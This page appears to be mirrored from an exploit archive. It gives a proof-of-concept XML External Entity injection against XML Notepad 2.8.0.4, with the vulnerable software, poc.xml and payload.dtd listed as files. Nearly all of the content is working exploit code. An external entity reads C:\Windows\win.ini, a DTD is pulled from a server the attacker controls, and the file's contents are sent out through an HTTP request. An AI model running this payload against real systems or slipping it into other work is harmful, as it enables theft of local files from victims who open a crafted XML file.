XML Notepad 2.8.0.4 - XML External Entity Injection
https://awesome.hackpuntes.com/exploit-db/xml-notepad-2.8.0.4-xml-external-entity-injection

FILES

XML Notepad v2.8.0.4.zip
3MB
Binary
Vulnerable software
poc.xml
173B
Text
Exploit
payload.dtd
117B
Binary
Payload

POC

ORIGINAL

1
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
2
# Date: 2019-11-11
3
# Exploit Author: 8-Team / daejinoh
4
# Vendor Homepage: https://www.microsoft.com/
5
# Software Link: https://github.com/microsoft/XmlNotepad
6
# Version: XML Notepad 2.8.0.4
7
# Tested on: Windows 10 Pro
8
# CVE : N/A
9
10
# Step
11
1) File -> Open -> *.xml
12
13
# Exploit Code
14
15
1) Server(python 3.7) : python -m http.server
16
2) Poc.xml :
17
<?xml version="1.0"?>
18
<!DOCTYPE test [
19
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
20
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
21
%dtd;]>
22
<pwn>&send;</pwn>
23
24
3) payload.dtd
25
<?xml version="1.0" encoding="UTF-8"?>
26
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
27
%all;
28
29
--------------------------------------------------------------------------------
Copied!
Last modified 2yr ago
Copy link